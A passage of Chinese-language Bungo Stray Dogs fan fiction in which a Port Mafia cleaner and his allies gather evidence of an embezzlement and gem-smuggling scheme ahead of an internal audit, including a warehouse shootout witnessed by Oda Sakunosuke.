都这么过来的……
难道做的人多,就能证明这样是正确的吗
如果真是这样
那些白纸黑字的规定,那些他三十多年安身立命的根本
那些他一直坚守着的职业操守,又算什么呢
他一把扯过酒瓶,右手摇晃着,为自己斟满了一杯酒
一饮而尽
视线内,清洁工的身影变得模糊又清晰
那小鬼的话,勾勒出了一条风险相对较低的道路。
他不用去当英雄,他只是要回归一个技术人员的本分。
而这,也是他目前最渴望,也最不敢奢望能做到的一件事。
“至于其他的……”璃久的声音恢复了平稳,“信息收集,线索串联,甚至最终如何让该看到这些东西的人看到……那是我的工作。”
他看着老鸟眼中闪烁的犹豫和挣扎,给出了最后一击:
“鸟前辈,我们不是在发动一场叛乱。我们只是在……打扫卫生。用我们自己的方式,清理掉那些正在腐蚀这个组织的蛆虫。为了那些像斋藤葵一样遵守规则却被无声吞噬的人,也为了……让像您这样的老员工,不必再违心地在虚假的报告上盖章。”
“打扫卫生……”
老鸟喃喃地重复着这个词,脸上露出一丝苦涩又释然的笑容。
这个比喻,意外地戳中了他这个在垃圾堆里工作了半辈子的人。
他再次端起那杯烧酒。
没有酒杯,而是直接对瓶
辛辣的液体灼烧着他的喉咙,也烧掉了他最后的犹豫。
他将空瓶重重放回桌上,发出清脆的响声
“小子,你最好清楚你自己在干什么,也知道失败了会是什么下场。”
他没有明确答应,但这句话,已经是默认。
璃久知道,同盟,在此刻正式成立。
他平静地站起身,离开了食堂
就在他转身欲走的那个瞬间,老鸟忽然产生了幻觉——
他不是在看着一个试图在泥潭里挣扎求存的清洁工少年,也不是在看和织田相似的,平静坚定的影子。
他看到的,是一个正在审视棋盘,冷静地将所有人,都视为可用棋子的执棋者。
他看着璃久消失在食堂门口的背影
那瘦小的身影,仿佛与某种庞大而恐怖的未来重叠在了一起。
23.后知后觉小迷糊
——
午夜,港口黑手党三栋大楼
B1层,物资调配中心,仓库B区
健太郎正假装整理着货架。
和璃久分开后,他找到今井主任,主动以新人要多来锻炼为由,申请了这一周的夜班
白天,村濑前辈说深夜会进一批“待报废金属元件”,让他负责登记的时候机灵点。
健太郎心一跳
又是这个称呼
最后一个货箱被摆放整齐,他绕到货架后避开摄像头的角落,指尖探入制服内袋,触碰到一本硬壳小册子,以及一枚袖珍相机。
心跳如擂鼓,他不止一次地想掉头逃跑。
但璃久沉静的目光如同锚点,将他定在原地。
不能退缩,他默默自我鼓励着
已经答应的事,不能反悔。
就在这时,D区的厚重铁门打开了,发出沉闷的声响。
健太郎浑身一僵,将自己更深的埋入货架的阴影里
仓库区门前的守卫直起腰,面向来人
健太郎看见了青木,眼角发酸
自从吵架那次后,他们就再也没说过话
他透过货架缝隙,偷偷的看着对方
青木穿着行动组小组长的制服,腰杆挺直着,侧脸冷硬,带着一丝任务后的疲惫
身边站着他的队长(健太郎看见名牌上写着岛田二字),他们身后是两名推着平板车的行动组员
车上,放着几个标着“待报废电子元件”的陈旧金属箱。
健太郎屏住呼吸,悄悄掏出口袋内的袖珍相机。
“来了。”
调配中心的小门打开,一个男人走了出来
是村濑前辈,夜班当值负责人
“岛田先生,青木君,这批‘待报废元件’需要你们行动组签字确认转移。”
岛田笑着抬了抬下巴:“青木。”
青木点点头,接过村濑递来的电子笔,利落地签下名字和编号
“确认转移,‘待报废电子元件’一批。”
“好小子!”村濑笑着伸手拍了拍青木的肩,“沉得住气,未来是能担大事的。”
“多谢夸奖。”青木声音平稳,但嘴角还是微微上扬几分
笑起来的样子,和以前一模一样。
健太郎抬手,袖口用力擦了擦眼角。
两名组员将车上的四个货箱依次搬到仓库前的叉车上
搬运时,一个金属箱的箱盖因颠簸震开了一条缝隙
那瞬间,健太郎心被狠狠提起
他看见了
箱子里绝非电路板能有的,冰冷而璀璨的蓝色光芒!
是宝石!大量的未切割宝石!
和那天在低流转仓库看到的一模一样!
他立刻举起相机,接连按下快门
取景框内,岛田与村濑心照不宣地对视着,搬运箱子的两名组员则面不改色,自然的扶上了箱盖
不到一秒
如果没有取景框内确凿的记录,健太郎还以为自己出了幻觉。
他猛地低下头,收起相机,飞快地掏出那本记录簿,在一页盘点数据中间,用只有自己能完全看懂的速记符号,拼命记录下关键信息:
时间:23:47
人物:岛田(行一队),青木(行一队),村濑(物资科),两名随行
物品:标“待报废电子元件”金属箱(编号隐约K7-3XX)
关键:青木签字确认。箱隙见蓝光,疑似未切割宝石!大量!
疑点:岛田与村濑眼神交流异常。
已记录影像
做完这一切,他迅速收起记录簿,整个人虚脱着靠在货架上喘气,冷汗浸湿了内衬
青木哥……
他想到交接时,岛田刻意挡住青木视线的姿态,和青木对队长全然信赖的眼神
他还是这样……那么容易相信对他好的人……
健太郎极轻极轻地吸了吸鼻子,将泪意憋回去
指腹用力,一下一下摩挲着相机冰冷的表面
他记录下了青木哥作为帮凶的证据,负罪感如潮水般涌来。
但为了正义,为了沉冤昭雪,他必须这么做。
——
与此同时,资产回收科废弃处理站
老鸟穿着沾满油污的深蓝色工装,站在一盏孤零零的强光照明灯下。
他面前整齐摆放着十套“猎犬”战术套件,包括高性能耳机,热成像镜,战术手套和内置多种传感器的作战服。
按照财务科桥本科长签字,行动组报上来的单据,这些装备在“昨日码头接货冲突中严重损毁,已无修复价值,申请报废处理”。
然而——
老鸟拿起一套战术服,手指抚过面料。
触感坚韧,纤维完整,没有任何高温灼烧,利器切割或子弹冲击的痕迹。
他连接上便携式检测终端,屏幕上的数据飞快跳动
所有传感器反馈灵敏,电源模块蓄电能力百分之九十八,信号发射器功率稳定。
“高强度对抗损毁?”
老鸟低声嗤笑,那笑声在空旷的处理站里格外刺耳。
他拿起高分辨率工业相机,调整好角度和光线。
“咔哒。”
快门声清脆。
照片清晰拍下了,战术服腋下的标签,生产日期清晰可见,是上周刚配发的新货。
“咔哒。”
战术手套的掌心感应区,磨损度检测显示为零,几乎是全新状态。
“咔哒。”
热成像镜的镜头,光洁如新,没有一丝划痕,他特意在旁边放了一张白纸,上面手写着“镜面无损,成像核心功能完好”。
老鸟一言不发,但手上的动作越来越快,也越来越重。
他拆开一个耳机的内部模块,电路板崭新,焊点光滑,没有任何过载或短路迹象。
他再次拍照,并将检测仪器显示各项参数正常的屏幕也一并录入。
愤怒在他胸中积聚。
他不是什么正义感爆棚的傻瓜
在这这么多年,他见过太多黑暗,也学会了(虽然是违心的)明哲保身。
但这种毫不掩饰的贪婪,这种将组织花费巨大代价(约3亿日元)购买的顶尖装备,如同处理垃圾一样虚假报废,然后流入黑市牟利的行为,彻底践踏了他作为一名技术人员的尊严和底线。
这些“猎犬”套件,本应在真正的战斗中保护同僚的生命,现在却成了某些人填满私囊的工具。
他想起了那个清洁科的,看起来弱不禁风的少年。
望月璃久
是璃久最先找到了他,用平静却坚定的语气说
「鸟前辈,我们需要您的专业,来证明这些‘垃圾’原本的价值」
老鸟深吸一口气,压下翻腾的怒火。
他回到他那间杂乱却齐全的工作室,打开电脑,调出标准的装备鉴定报告模板。
他没有添加任何主观控诉,只是纯粹基于事实:
物品:“猎犬”战术套件(十套)。
报损原因:高强度对抗损毁。
实际检测结果:
外观检查:无任何战斗损伤痕迹,磨损度低于正常使用标准。
功能检测:所有电子模块运行正常,性能参数达到出厂标准95%以上。
核心结论:该批装备功能完好,远未达到报废标准,所谓“高强度对抗损毁”与事实严重不符。
然后,他将刚才拍摄的五十张高清照片,精心筛选,选出最具说服力的二十张,附在报告后。
每一张照片都配有简短的文字说明,指向明确,证据链清晰无比。
随后,他又调出之前战术目镜,通讯模块和车辆引擎的留底照片,动手开始修改上面的虚假鉴定内容。
打印机刷刷的运转声,在寂静的夜中轰鸣
窗外,夜色正浓。
他知道,这份倾注了专业和愤怒的鉴定书,一旦交出去,必将掀起狂风巨浪,所谓“平安退休”的结局也可能化为泡影
但他没有丝毫犹豫。
有些线,一旦跨过,就无法再回头
而他,早已受够了在底线边缘的沉默。
——
三天后,Freedom咖喱店,二楼
薄薄的纱帘将月光洗去大半。
屋内,唯一的光源是桌上小小的阅读灯
璃久坐在桌前,身影在灯光下拉长
桌上,分门别类摆放着各种大小不一,却实实在在的物证。
装在透明袋中,来自审讯室和仓库区的蓝宝石碎屑
一本小小的,硬壳的,表面泛黄的物资科记录簿,并附有几张略显模糊,但人物和箱体轮廓和内容清晰的照片。
一个厚厚的牛皮纸袋,内里是一份专业的鉴定报告书,包含了近一个月异常报废的所有装备
一份被翻阅多次,页脚起皱的计划书副本
这还只是冰山一角。
最后,是一叠票据
那是一周前,他在打扫食堂时,偶然听见卡车司机们的绕远路抱怨后,动身寻找来的证据。
最上方那张,是港口黑手党正规合作商“东急货运”的票据。线路清晰:从港//黑大楼到“横滨市第三垃圾熔毁厂”。里程:8.7公里。标准重型卡车费用,补贴明细清楚。
下面,是几张被碎纸机压碎又小心粘合起来的票据残片,来自一家名为“山下运输”的小公司
票据格式正规,盖章和签名俱全
然而,线路非常模糊,里程数夸张地写着:27.3公里。
璃久的眼神转向桌面上铺展开的城市地图。
以大楼为起点,分别标出第三熔毁厂和几个可能的厂区。比例尺测绘显示,即使去最远(几乎到了神奈川县的山里)的那个厂区,实际合理里程也应不超过15公里。
也就是说,实际只需8.7公里的路程,卡车司机们跑了15公里,而票据上写的是27.3公里
显然,这是在虚报里程,骗取高额交通补贴。
而最新(来自两天前)一张碎片上,依稀能辨认出“元件”,“报废”字样和一组模糊的箱号,与健太郎最新登记的“待报废元件”登记编号重合。
更清晰的链条在他脑中浮现:
桥本科长一手签字批准虚假报废和异常运输,一手可能通过关联公司接收利益输送。
根据健太郎所说,斋藤葵就是在审核这些“山下运输”的异常票据时,发现了端倪,从而招致杀身之祸。
如今,物证已经相当扎实:赃物(宝石碎屑),假账(虚假报废鉴定),调包流程(健太郎所拍摄照片),异常运输费(问题发票),以及动机与漏洞来源(被篡改的计划书)。
但最致命的一环
赃款最终流向的铁证——依然缺失。
璃久靠在椅背上,阅读灯的光晕勾勒出他平静的侧脸
窗外,横滨夜色正浓,港口的方向依稀传来汽笛声。
得找到能证明赃款去向的决定性证据才行。
——
两天后,6月5日
上午,璃久照例路过装有旧抹布垃圾袋的工具间
确定四下无人后,他关上门,从
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堆积的抹布下,扯下一张皱巴巴的废纸(纸的一角和垃圾袋用透明胶粘在一起),展开
「昨天守夜班,听见今井主任在打电话,说一周后上面(加重)有人要来查账,特别针对近三个月所有“特殊报废品”和“高价值损耗品”的出入库原始签收单存根
很奇怪,平时只会要汇总表,这次却点名要所有经手人(包括行动组,我们科,资产回收科)的签字原件。
前辈们,包括今井主任都很紧张
资产回收科的秋山主任早上也来过,脸色很难看。
我也很怕,但我觉得必须告诉你。
请务必小心,所有痕迹,他们可能都在复查。
——健」
笔迹很重,很快,全是假名,好几个字甚至重叠在一起,
璃久花了两分钟,默不作声看完,掏出打火机,将纸条烧毁
此时,口袋内的通讯器也同步震动起来
他掏出通讯器
「发信人:织田作
发信时间:9:33分
发信内容:安吾让我转告你
“港口黑手党总部,将于七个自然日后,启动一项针对内部资产管理(加重)与特殊项目经费(加重)的‘定向审计’。此次审计由首领直属指令发起,审计小组(将携带武装护卫)拥有跨部门调阅一切记录的最高权限,初步周期预计两周。”
“建议璃久君:暂停一切非必要的主动活动,确保现有‘材料’的绝对安全,并谨慎评估身边人员的可靠性。务必注意,审计一旦开始,任何微小的异动都可能被放大。”」
他还没看完,新信息又来了
「发信人:织田作」
发信时间:9:34分
发信内容:上一条是安吾要说的,我要说的是“璃久,按你想做的去做,但安全第一,需要帮助时,我一直都在。”」
一直都在
眼眶微热,璃久吸了吸鼻子,将新信息又看了一遍,确保每个字都印在脑海里,才默默删除两条讯息。
他将通讯器放回口袋,更换了新的抹布垃圾袋,走出工具间
垃圾搅拌粉碎机的隆隆声由远及近,
他脚步一拐,进了清洁车工具间
那里停着两辆车,
物品的内容和朝向摆放完全一致,轮毂的朝向误差不超过厘米。
璃久看着两辆车,鼻间是从机器口飘来的,熟悉的腐臭味
他一动不动,眼神恍然,陷入了回忆。
但也只不过半分钟
他的手就扶上了车把
轮子在瓷砖上滑动,他推着车,漫不经心走向距离北区最近的洗手间
虽然纸条上提到了秋山,但他不确定老鸟知不知道这件事
这个点,老鸟都会去一楼抽根烟,然后来距离工作室最近的洗手间方便。
他将车停在门口,取下两块指示牌,一块“清洁中”,一块“小心地滑”,将它们端正地放在门口两侧
他从车上取下喷壶和红色抹布,开始清理地面
十分钟后,老鸟出现在门口
看到璃久,他的脚步顿了顿,然后若无其事的拐了进来
一分钟后,老鸟提着裤子到洗手台前,打开了水龙头
璃久也“恰好”打扫完了地面,换上了蓝色抹布移动到洗手台边
他擦拭着台面的水渍,目光却落在镜子内的老鸟上
“鸟前辈,下周会有客人来‘参观’后勤部门的工作流程。”
老鸟关了水龙头,甩着手:“客人?”
“审计部的客人。”
璃久的声音平稳,“专项小组,重点‘参观’财务科,物资调配科,还有资产回收科。”
老鸟沉默了两秒,然后从喉咙里挤出一声嗤笑:“终于来了?”
这个反应让璃久擦拭的动作停顿了半秒。
“您知道了?”
“知道要有事。”
老鸟扯了扯嘴角,“这三天,财务科那帮孙子来调了四次历史报废单,连一年前的陈年旧账都要翻。秋山那老狐狸,昨天破天荒亲自检查了我的工作台账,还‘关心’地问我最近有没有‘不小心写错’什么报告。”
他顿了顿,看向璃久:“所以,确定一周后?”
璃久点头:“一周后,可靠情报。”
“你那边的东西……”老鸟问出了最关心的问题,没说完,但意思明确。
“安全。”璃久回答,“前辈您手里的所有原件和备份,也必须确保绝对安全。”
“放心,原件我存在老家阁楼的柜子里,密码一天一换,绝对安全。”
“另外,”璃久回想着安吾的信息,补充了最后一个,最重要的提醒,“下周开始。不要有任何特别的举动,不要联系我,也不要试图去打探更多。保护好自己,就是保护了证据。”
老鸟点头:“我还没活够,知道轻重,倒是你小子,你才是站在最薄冰上的那个,他们如果真想捂盖子,第一个要抹掉的,可能就是发现冰面有裂痕的人。”
“我明白的,鸟前辈,多保重。”
璃久没有再多说,只回到车边。
他重新换下最浅的白色抹布,戴上一次性手套,开始清洁便器。
老鸟深深的看了他一眼,也转身离开了。
直到脚步声消失在走廊尽头,直到最后一个便器被擦拭的光洁如新
璃久才走出洗手间
他收好牌子,推着清洁车,走入了走廊深处
直到三分钟后
推着车的少年脚步一停,愣在工具间门前
审计……到底是什么意思来着?
24.港口黑手党最强扫地僧
——
昨日,傍晚七点,Lupin酒吧
“织田作先生,我接下来要说的话,对璃久君而言非常重要——”
吧台边,织田作之助听着安吾缓慢低沉的叙述,手指在通讯器信息编辑界面敲敲打打。
直到安吾说完最后一个字,织田作才缓缓开口。
“安吾。”
“嗯?”
“你刚才说了很多次‘审计’。”
“是的,怎么了吗。”
“这个词,”织田作看着安吾,湖蓝色的眼睛里是纯粹的求知,“具体是什么意思?”
“噗——!!!”
旁边的太宰没能忍住,一口威士忌险些全喷在吧台上。
他赶紧捂住嘴,但剧烈的咳嗽和笑声已经从指缝里溢了出来。
“咳!咳咳咳……哈哈哈哈哈!!等,等等……织田作……你……哈哈哈哈!!!”
安吾举着酒杯的手僵在半空。
他花了整整两分钟,从首领的意图,太宰(当事人此时正在狂笑)可能的推手,武装护卫的象征意义,一直讲到对璃久的具体建议。
结果他的情报接收方,在最基础的术语上卡住了?
他感到一阵熟悉的头疼
那是面对太宰的恶作剧和织田作非常识反应时的混合性头疼。
“织田作先生,”
安吾放下酒杯,深吸一口气,试图找回他作为情报员的专业素养,
“‘审计’在组织语境下,通常指由独立部门,也就是审计部对特定单位或项目的财务记录,业务流程,资产状况进行系统性的检查与核实,以评估其合规性,效率及是否存在舞弊行为。”
织田作点点头,思考了几秒:
“所以,就是‘查账’和‘检查工作’?”
“……可以如此粗略的理解。”安吾感到太阳穴在跳。
“那‘专项特别审计’又是什么?”
“就是……目标特别明确,力度特别大的‘查账和检查工作’。”安吾放弃了一部分专业性表述。
“武装护卫呢?”
“意味着这次‘查账’可能会遇到武力反抗,或者查账本身伴随着……强制性的‘人事调整’。”安吾揉了揉眉心。
“原来如此。”织田作得到了满意的解答,点了点头,“谢谢你,安吾,情报很清晰,我会完整转达。”
“噗哈哈哈哈——!!完整!他说完整!!”
太宰已经笑到滑下高脚凳,半蹲在地上,
“安吾!你那份可以拿去当教材的情报分析!最终被总结成了‘一次带着打手的,力度特别大的查账’!哈哈哈——!织田作,你真是天才!最精炼的情报概括员!”
安吾看着一脸平静的织田作,又看看笑得毫无形象,几乎要背过气去的太宰
他摘下眼镜,指尖按压着鼻梁。
“我有时候真的怀疑,”
安吾的声音充满了疲惫,“我穿梭在生死边缘,分析无数情报的意义,是不是就为了在这种地方,给你们二位……做名词解释和提炼中心思想。”
“这恰恰是最重要的环节啊,安吾!”
太宰终于笑够了,爬起来,“确保信息在传递链条的每一个环节都不失真!你看,经过织田作的‘翻译’,璃久君一定能完美理解!哈哈哈……”
织田作看了太宰一眼,并不觉得这有什么好笑:“璃久对财务和管理的术语也不太熟悉,万一他问起来,我得用他能理解的方式再转达一次。”
太宰闻言,眼睛一亮,嘴角勾起充满期待的笑容。
“啊啦……这么说来,说不定连‘查账’这个词,对那位小朋友来说都还有点复杂呢……”
他晃着酒杯,眼眸里闪烁着恶作剧的光芒,“真想看看他听到这个消息时的表情啊。”
——
审计……到底是什么意思来着?
璃久在工具间门前足足站了一分钟
直觉告诉他,这个词很重要
就像八岁被检查牙齿骨骼时,以为验货就是治病,却不知不合格就意味着死亡。
在溶狱,不明白规则和行话会丧命
在这里,性质恐怕一样
璃久看了眼时间,上午十点十三分
织田作今天上午没有任务
他掏出通讯器,在界面上敲打几下,又将讯息删掉,转而拨通了电话——
他将通讯器放到耳边,边快步朝后勤电梯厅走去。
“即将到达,1层。”
这个点,中庭花园几乎没有人。
——
同一时间,港区某废弃仓库群外围
没有直属部门的底层杂役,被呼来喝去是常有的事
织田作之助蹲在一截断裂的混凝土管道后
他是半小时前,被临时叫来加班的
联络员一如既往的不耐烦,只说是“常规清扫”,一批未申报的军火藏匿点,敌方看守不超过五人,火力一般。
他无需上场,只需负责清理事后杂物与初步处理痕迹。
俗称,扫尾
然而,万事总有变数
交火在预料中爆发,但激烈程度远超预期。
对方不止五人,而且显然没打算遵守“火力一般”的设定。
更关键的是,他们的反应不像普通的看守或走私者。
“妈的!港口黑手党不讲信用!说好的交易,结果派人来黑吃黑?!”
愤怒的吼声从敌方掩体后传来,伴随着一阵猛烈的扫射。
“桥本那个狗东西!还好老子带够了弹匣!——”
“箱子!别让他们靠近后面的箱子!”
子弹在集装箱和水泥柱间横飞,压得三名行动组新人抬不起头。
两名老油条一边骂骂咧咧寻找掩体还击,一边后悔没多领两个弹匣。
“搞什么鬼……这帮人打法不对,不像看仓库的,倒像在拼命护着什么……” 一个老油条呸了一口。
在混乱,噪音和飞扬的尘土中,织田作的通讯器响了。
他按下接听键,将听筒贴近耳朵。
电话那头传来璃久压低但清晰的声音。
“织田作,关于你刚才转达的消息……‘审计’,具体是指什么?”
就在他准备开口的瞬间,一串子弹“噗噗噗”打在他藏身的管道上方,溅起碎石和灰尘。
“闪开!落石!——”
不远处一个新人朝织田作叫了一声。
织田作偏头躲开一块拳头大的石头,他半蹲着等这串枪声过去,如同等一辆吵闹的卡车驶过,然后才平静地对着话筒说:
“稍等,这里有点吵。”
他微微探身,目光快速扫过战场。
对方的火力虽然凶猛,但分布很有重点,主要集中在掩护仓库角落那几个不起眼的金属箱子上,对行动组成员本身的攻击反而有些滞后,更像是在驱赶。
他计算着对方的射击节奏,在枪手换弹匣的瞬间,起身,快速横移了七八米,躲进一个更坚固的废弃铲车轮胎后面。
他刚蹲下,几发流弹就“叮当”打在他刚才的位置。
“我去……”新人们看呆了。
一个老油条抽空瞥了一眼,嘟囔:“那杂役……运气真好。”
织田作拍了拍头上的灰,重新拿起通讯器继续:
“审计,安吾的解释是‘系统性的检查与核实’。更简单说,就是组织要派人下来,翻看最近所有的账本和记录,检查有没有人违规,或者偷拿东西。”
电话那头沉默了一秒。
“织田作,你现在在哪里?”
“港区仓库区。”织田作趴下躲开流弹,同时观察到一名敌人正试图将箱子往更深的阴影里拖拽,“临时清理任务。不过,现场情况有些特别。”
“任务?那我——”
“没关系。”织田作将通讯器更贴紧耳朵,同时捂住另一只耳朵,“我负责后勤,现在很空闲。”
“好。” 璃久不疑有他,声音变得更为沉静和迅速,“你刚才说‘情况特别’?”
“嗯。对方不像普通走私犯。他们在喊‘黑吃黑’,‘不讲信用’,并且死守几个金属箱子。”
织田作看着一枚子弹擦着轮胎过去。“我们接到的命令是清扫未申报军火。但看起来,这里可能同时是另一个‘交易’现场,而且交易出了问题。”
“砰!”一声巨响。敌方似乎动用了手雷,但投掷方向明显是阻隔行动组向箱子靠近的路线。
冲击波让空气震动。
织田作所在的轮胎也被气浪推得晃了晃。他稳住身形。
“交易现场……箱子……”
璃久的声音陡然紧绷,“织田作,能大致描述箱子外观吗?或者任何标记?”
织田作眯眼看向还没被拖走的两个箱子:“灰色金属箱,式样陈旧,标签……看不清全貌,但格式很像资产回收科常用的废弃标签,上面写着‘电子元件’。”
“……‘电子元件’?” 璃久的声音陡然拔高,“待报废品?”
“可能性很高。”
织田作看到一名新人被压制得厉害,顺手从脚边捡起一块碎石,掂了掂,手腕一抖。
石头划过低平的弧线,精准砸在正试图拖箱子的敌人的左侧太阳穴
“唔!——”
那人发出一声闷哼,倒地晕了过去。
“我明白了。”
璃久的声音急迫,“这不是意外。这可能是桥本他们得知风声后,急着处理,但和买家闹翻了,或者……根本就是想连人带货一起处理掉。”
“很有可能。”织田作沉声回应,“你打算怎么做?”
“还差最后的证据……”对面的呼吸急促,“最后的,证明赃款去向的证据……织田作,时间不多了,他们既然都开始处理走私品了,那肯定——”
“别急,璃久,慢慢想。”
“嗯……我没事,但必须快点找到能证明赃款去向的证据,账本,单据,或者别的什么……”
此时,枪声渐渐稀疏
那几个买家开始聚集在一起,以火力封锁箱子所在的区域,试图拖延时间,等待增援。
满脸黑灰的新人喘着粗气退到织田作附近,刚好听到他对着话筒说的最后一句话:
“根据安吾的说法,审计临近,所有人都会加速处理,你找最后证据的时间,可能比预想的更短。”
新人瞪大了眼睛,难以置信地看着这个在枪林弹雨中,用平静的语气说着“审计”,“证据”的后勤大叔。
织田作对新人点了点头,算是打招呼,然后对着话筒最后说:“还有问题吗?”
“……没有了。谢谢你,织田作,请多小心。”
“嗯,你也是。”
织田作挂断通讯,将通讯器仔细收好。
同一时间,敌方掩体后传来几声急促而愤怒的呼喊
“老大!增援什么时候到啊!只剩最后两个弹匣了!”
“什么?用得这么快?废物吗你们,这么多子弹打不中?!”
“……那我们那还顶吗……”
“顶不住也得顶!箱子没了钱全打水漂了!”
“可我们的人——”
话音被通讯器刺耳的提示音打断,随后是更加暴怒的吼声
“什么?!‘路上遇到军警临检’?!放你娘的狗屁!横滨港区这个点哪来的军警?……喂?!喂!”
织田作半蹲在地,看着对面领头男狠狠将通讯器摔在地上,零件四溅。
“操!那群王八蛋!收了老子的定金,现在找借口不来!根本就是看港口黑手党插手,怂了!想把我们当弃子!”
“老大,那……那箱子怎么办?”
领头男死死盯着远处那几个金属箱,眼神里交织着不甘和绝望。
没有增援,凭他们这几个人和剩下的弹药,别说带走箱子,连自己能不能全身而退都是问题。
“桥本!……老子做鬼也不放过你!”
他发出一声低吼,做出了决断,“撤!全体都有,烟雾弹掩护!箱子……不要了!”
“可是——”
“执行命令!想死你就留下!”
几颗烟雾弹嗤嗤作响,浓密的灰白色烟雾迅速在仓库中蔓延开来。
烟雾后,几个身影从不同的掩体后窜出,以最快的速度朝着后方一处围墙缺口狂奔。
“别让他们跑了!” 有新人想探头射击。
“穷寇莫追!小心有诈!”
老油条厉声制止,“我们的任务是清扫据点夺回军火,不是追击残兵!检查现场,确保安全!”
织田作平静地蹲在原地,直到烟雾消失。
他站起身,拍了拍制服上厚厚的灰尘,开始履行自己的职责。
他首先经过的是买家们最后弃守的掩体。
那里散落着几个打空的弹匣,一个还在发出微弱电流声的通讯器,以及一些零碎的个人物品。
他将通讯器和弹匣分类放入不同的证物袋后,走向仓库角落。
那里静静躺着四个灰色的金属箱。
其中两个因为之前的拖拽和碰撞,箱盖已经松脱,歪斜地敞开着,隐隐透出一丝蓝光。
纯净的深蓝色光芒
他拿出怀里的相机,不着痕迹的拍了两张,
就在这时,仓库入口处突然传来急促的引擎声和刹车声。
两辆黑色轿车疾驰而来,急停在仓库外
车门打开,岛田和青木,以及另外两名心腹队员跳下车
他们全副武装,神色匆忙,显然是接到消息后全速赶来的。
“情况怎么样?!”岛田一进来就大声问道,目光急迫地扫视全场,最后落在了仓库角落的金属箱上。
老油条连忙正了正衣领扬声汇报:“报告岛田队长!军火都在。”他指了指那些箱子,声音虚了几分“但人……就死了一个,剩下都给他们跑了……”
“人没事,货——军火在就行!”岛田神色肉眼可见的放松下来,“这里由我们行动一组接管后续!你们负责外围警戒和扫尾!青木,带人把那些箱子装车,动作快!”
“是,队长!”青木应道,立刻带人奔向箱子。
忽然,一阵微弱的射击声从侧方传来。
“小心!”有人喊道。
几乎是同时,织田作五步远的那具“尸体”突然暴起,拔出手枪对准了背对他的岛田
“去死吧!港//黑的走狗!”
“队长!”青木惊叫,但他离得太远。
岛田惊觉转身,但已然慢了半拍。
“砰!”
枪响了。
但倒下的却是敌人。他的手腕被一块边缘锋利的碎石片精准击中,骨头发出清晰的碎裂声,手枪应声掉落。
紧接着,另一块更大的混凝土块再次砸中他的右侧太阳穴,那人惨叫一声
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摔倒在地,没了动静。
整个过程不到两秒。
岛田惊魂未定,看着地上的袭击者和那两块石头,随即猛地看向碎石飞来的方向——
织田作直起身,拍了拍手上的灰,神色平静,仿佛只是随手丢掉了两块垃圾。
青木看到了全程。
他张大了嘴,忘了搬箱子。
那不是运气!那投掷的精准,时机的把握,还有那种置身事外般的从容……
这个后勤杂役,绝对不简单!
一股震惊与嫉妒的情绪涌上心头。
这种人,为什么会在底层?
如果他有这种本事,未来如果晋升到行动组岂不是……会威胁到我的位置?
队长说过,在组织里,想活下去,实力就是一切,要时刻留意那些可能爬上来的人。
“青木!发什么呆!快搬箱子!”
岛田的注意力全在箱子上,对织田作的解围只是粗声喊了句:“谢了,杂役!”
“是!队长!”
青木压下心头的杂念,赶紧和队员抬起一个箱子。
箱子很重,搬运时,他手一滑,箱盖猛地滑开一条缝隙
“!”青木赶紧去合盖子。
但在那瞬间,距离不远的织田作,恰好透过那条缝隙,彻底看到了箱内——
泡沫下,紧密排列的,棱角分明的石头。
果然
他的目光极快地扫过箱体侧面的模糊标签
「K7-333」「待报废电子元件」「资产回收科」
来不及拍照了,只能记下来。
岛田一个箭步冲上来,啪一声将箱盖死死按合,脸色发白地对青木低吼
“蠢货!不能稳当点吗?!里面是……是精密元件,摔坏了你赔得起吗?!!”
“对、对不起队长!”青木慌忙道歉。
完了,一上午就犯错两次,队长会不会不认可他了?他会不会被赶出去?被……
就像源和太郎那样……
他低声咒骂着自己,边用力抬起箱子,动作带上了几分不要命的狠劲儿。
“胜也,冷静点,报废品而已。”
“是!前辈——”
报废品?
队长不是说精密元件吗?而且他今天,真的好急躁——
疑念在心头一闪而过,又被迅速抛到脑后。
别多想,队长肯定有他的道理——
织田作缓缓站起身,脸上没有任何异样。
他甚至对看过来的岛田和青木点了点头,然后继续走向下一个区域。
岛田见织田作毫无反应,只是继续清扫,松了口气。
看来这个杂役要么没看见,要么看见了也不懂,或者根本不敢多事。
他催促道:“快!全部装车!我们撤!”
五分钟,箱子全部装车,岛田小队迅速撤离,甚至没和行动小队做完整交接。
码头渐渐安静下来。织田作完成了最后的清理工作
他重新走到刚才箱子掉落的位置,借着昏暗的光线,仔细查看地面。
在尘土和血迹中,几点蓝光微弱的闪烁着。
他用镊子依次夹起后,放进一个用于收集“可疑微小证物”的密封小袋里
“织田,差不多了。”
身后传来老油条招呼的声音,带着几分沧桑和欲言又止,像是明了了什么却无法言说一般,“——撤吧。”
“嗯。”
他站起身,朝面色复杂的老油条点了点头,随后转身,随着队伍缓缓离开了码头。
夜色更深了,码头重归寂静,仿佛什么都没有发生过。
——
半小时前
港口黑手党三栋大楼5层,行动组办公室
室内弥漫着未散尽的烟雾,烟灰缸里堆满了烟蒂,桌上的威士忌酒杯空了一半。
岛田正蹲在角落的小型碎纸机前,脚边散落着两个笔记本的黑色空封皮,垃圾桶里堆满了碎纸屑。
机器发出沉闷的咀嚼声。
“该死……审计怎么会突然提前……”
他低声咒骂着,手有些发抖。
一小时前,财务科的眼线偷偷传来消息:审计部已经调取了最近三个月所有与“特殊物资”相关的行动组出勤记录。重点是夜间行动和非作战类物资运输。
这意味着,他负责的几次“深夜押运报废元件”的任务,已经被标红了。
“嗡——”
碎纸机卡住了,将刚塞入的东西原封不动吐了出来
那是去年年底,他刚刚升职一组组长后,桥本在高级俱乐部请客庆祝的合影。
照片里,桥本搂着他的肩膀,笑容满面,旁边坐着秋山和几个黑市中间人。
岛田粗暴地扯出照片,直接用打火机点燃。
火焰吞噬了那些笑脸,化作一小摊灰烬
他将那些灰烬倒入垃圾桶,将装载证据纸屑的垃圾袋仔细捆扎好,打算叫心腹交给清洁科私下处理
就在这时,他的紧急通讯器响了。
是码头那边的线人,声音压得很低
“岛田组长!出事了!3号码头,我们和‘山下’的人交易刚完成,突然撞上了一支组织后勤小队!不是我们的人,像是三四组的临时清扫任务,现在打起来了!”
“什么?!”岛田猛地站起,“货物呢?!”
“还在码头仓库角落!但现场很乱,那支小队大概不知道箱子里是什么,可万一他们检查……”
“稳住!我马上带人过来‘接管’!在我到之前,不能让任何人碰那些箱子!”岛田吼道。
挂断通讯,他脸色铁青。
太巧了。审计风声刚来,码头就出事。
是巧合,还是有人设局?
他迅速打开办公桌最底层的小保险柜。
最上层放着一个文件夹,标签写着“G1——常规训练物资记录”。
里面却是24份物资转移单,18份装备报废确认单和23份运输交接单
